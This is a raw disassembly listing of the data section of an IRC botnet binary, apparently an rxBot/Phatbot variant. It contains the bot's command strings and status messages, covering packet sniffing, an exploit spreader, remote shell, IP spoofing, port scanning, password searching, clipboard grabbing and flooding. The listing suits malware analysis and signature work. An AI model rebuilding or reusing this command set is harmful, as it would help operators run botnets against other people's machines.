aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B07C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0D4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B114	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B180	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B1A8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1D4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B210	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B27C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C74o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
					; ___:00437FA4o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C5Co ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C7Co ...
		unicode	0, <n>,0
unk_42B37C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3F4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B40C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B454	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B47C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B480	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B48C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B494	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B504	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B518	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B51C	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B52C	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B530	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B534	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B59C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5DC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B614	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B640	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B680	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B6BC	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B714	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B724	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B810	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B844	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B884	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B8B0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8EC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B914	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B924	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B930	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B940	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B950	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B984	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9D4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42BA00	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42BA18	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA54	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA74	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA78	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA90	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BAC8	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAE0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BAFC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BB18	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB34	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB70	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB94	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BBB4	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBD4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC34	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC60	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC7C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BCC0	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BD10	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD3C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD60	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD9C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDD8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE14	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE50	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE8C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BEC0	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BF18	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF54	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFD4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C014	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C050	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BFCo
					; sub_401ACD+4FA1o
aAsn445		db 'asn445',0           ; DATA XREF: sub_401ACD+1BE7o
		align 4
dword_42C0C4	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 10h
unk_42C1A0	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1D4	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1E8	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1EC	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1F8	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 10h
